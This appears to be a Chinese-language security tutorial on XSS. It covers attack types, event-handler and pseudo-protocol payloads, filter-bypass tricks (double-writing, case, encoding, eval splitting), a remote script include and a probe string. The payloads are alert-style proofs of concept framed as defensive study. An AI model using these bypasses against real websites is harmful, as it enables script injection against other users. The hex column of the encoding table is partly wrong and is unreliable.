【漏洞】XSS 跨站脚本攻击

前言

跨站脚本攻击,是代码注入的一种,它允许恶意用户将代码注入网页,其他用户在浏览网页时就会受到影响

本文仅用于网络信息防御学习

条件

  1. 用户能够控制输入
  2. 原本程序要执行的代码,拼接了用户输入的数据

种类

  • DOM型XSS
    • 在请求的参数中(也有可能存在于锚点中)实现XSS,但是仅仅对此次访问产生影响
  • 反射型XSS(Reflected)
    • 你提交的数据成功的实现了XSS,但是仅仅是对此次访问产生了影响,是非持久性攻击
  • 存储型XSS(Stored)
    • 你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发,是持久性攻击

攻击脚本

标签构造

1
2
3
4
5
<script>alert(1)</script>

<script>confirm(1)</script>

<script>prompt(1)</script>

伪协议

  • Firefox无效
  • IE8无效
1
2
3
4
5
6
7
8
<a href="javascript:alert(1)"></a>
<img src="javascript:alert(1)">

<a href="javascript:confirm(1)"></a>
<img src="javascript:confirm(1)">

<a href="javascript:prompt(1)"></a>
<img src="javascript:prompt(1)">

事件触发

  • 将js代码写在html标签的事件属性中
  • 以下为举例,并不局限

图片无效事件

1
2
3
4
5
<img src="" onerror="alert(1)">

<img src="" onerror="confirm(1)">

<img src="" onerror="prompt(1)">

svg加载时事件

1
2
3
4
5
<svg onload="alert(1)">

<svg onload="confirm(1)">

<svg onload="prompt(1)">

输入框自动聚焦事件

1
2
3
4
5
<input onfocus="alert(1)" autofocus>

<input onfocus="confirm(1)" autofocus>

<input onfocus="prompt(1)" autofocus>

绕过

双写绕过

  • 如果服务器做了字符串<script>匹配过滤,可以采用双写绕过

  • 只要在<script>中再插入一个<script>即可

  • 以下为举例,并不局限

1
<<script>script>alert(1)</script>

大小写绕过

  • 如果服务器做了字符串<script>匹配过滤,可以采用大小写绕过

  • 原理:字符串匹配会区分大小写,而JS代码执行时不区分大小写

  • 以下为举例,并不局限

1
<Script>alert(1)</script>

引号绕过

  • 如果服务器做了字符串'"匹配过滤,可以采用引号绕过

改用双引号

1
<a href="javascript:alert(1)"></a>

改用单引号

1
<a href='javascript:alert(1)'></a>

改为不使用引号

1
<a href=javascript:alert(1)></a>

斜线绕过

  • 利用斜线代替空格
1
<a/href="javascript:alert(1)"></a>

制表符/换行绕过

  • 如果服务器做了关键字匹配过滤,可以将关键字中间加入制表符或换行
1
2
3
4
<s	cript>alert(1)</script>

<s
cript>alert(1)</script>

编码绕过

  • 如果服务器做了关键字匹配过滤,可以将关键字改为使用其他字符编码
字符 原ASCII编码十进制 HTML可解码的ASCII编码(十进制) HTML可解码的ASCII编码(十六进制)
a 97 &#97; &#x61;
制表符 9 &#9; &#x90;
换行符 10 &#10; &#xA0;
回车符 13 &#13; &#xD0;
1
<a href="j&#97;v&#x61;script:alert(1)"></a>

拆分绕过

  • 如果服务器做了关键字匹配过滤,可以将关键字拆分成多个字符串变量,最后将字符串合并,通过eval()执行
1
2
3
<script>let a = 'a'</script>
<script>let b = 'lert'</script>
<script>eval(a+b+'(1)')</script>

ShellCode调用的位置

  • 直接将xss代码写在js文件中,远程调用
1
<script src="http://example.com/xss.js"></script>
  • 构造出如下请求,将xss代码通过window.location.hash存储在地址中
1
?xss=<script>eval(window.location.hash.substr(1))</script>#alert(1)
  • 将xss代码写在html中,利用AJAX发送请求远程调用

  • 将xss代码写在Cookie中

过滤探测

1
<script script "'OOnn>
  • 探测代码执行后通过审查元素,查看哪些字符被过滤了
  • 可以探测到是否有引号过滤、是否有尖括号过滤、是否有关键字过滤、是否进行大小写转换

参考文献

哔哩哔哩——腾讯掌控安全学院
哔哩哔哩——千锋教育网络安全学院